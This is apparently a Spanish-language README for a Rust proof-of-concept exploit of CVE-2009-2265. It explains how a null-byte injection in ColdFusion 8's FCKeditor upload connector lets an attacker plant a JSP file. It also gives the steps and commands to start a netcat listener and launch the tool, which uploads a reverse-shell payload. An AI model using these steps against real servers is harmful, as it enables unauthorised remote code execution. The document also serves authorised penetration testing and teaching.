
Una implementación en Rust del POC para el exploit CVE-2009-2265, dirigido a Adobe ColdFusion 8.
Una implementación en Rust del POC para el exploit CVE-2009-2265, dirigida a Adobe ColdFusion 8.
Esta vulnerabilidad permite a un atacante no autenticado subir archivos arbitrarios a un directorio accesible desde la web en un servidor que ejecuta Adobe ColdFusion 8, lo que conduce a la Ejecución Remota de Código (RCE).
upload.cfm de FCKeditorCurrentFolderLa vulnerabilidad se encuentra en la funcionalidad de subida de archivos del componente FCKeditor ubicado en /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. El parámetro HTTP GET CurrentFolder no se sanea adecuadamente, lo que permite un ataque de inyección de byte nulo (%00).
Al construir una solicitud donde el parámetro CurrentFolder se establece en /<filename>.jsp%00, un atacante puede omitir las comprobaciones de extensión del servidor. El sistema subyacente (a menudo Java) interpreta el byte nulo como el final de la cadena, tratando el nombre de archivo como <filename>.jsp. Esto permite al atacante subir un archivo JSP malicioso. El servidor guarda este archivo en un directorio de acceso público (/userfiles/file/), desde donde puede ejecutarse simplemente accediendo a su URL.
Este POC automatiza el proceso generando un payload de reverse shell JSP, subiéndolo mediante la vulnerabilidad de byte nulo y ejecutándolo para obtener una shell en el sistema objetivo.
Sigue estos pasos para compilar y ejecutar el exploit.
Antes de ejecutar el exploit, inicia un listener en tu máquina local para capturar la reverse shell entrante.
nc -lnvp <attacker-port>
Ejecuta el binario compilado, proporcionando tu host/puerto local para la reverse shell y el host/puerto del objetivo remoto.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
Después de que el script ejecute el payload, deberías recibir una conexión en tu listener de Netcat.
Esta herramienta es únicamente para fines educativos y de pruebas de penetración autorizadas. Úsala de forma responsable y solo en sistemas que poseas o para los que tengas permiso explícito.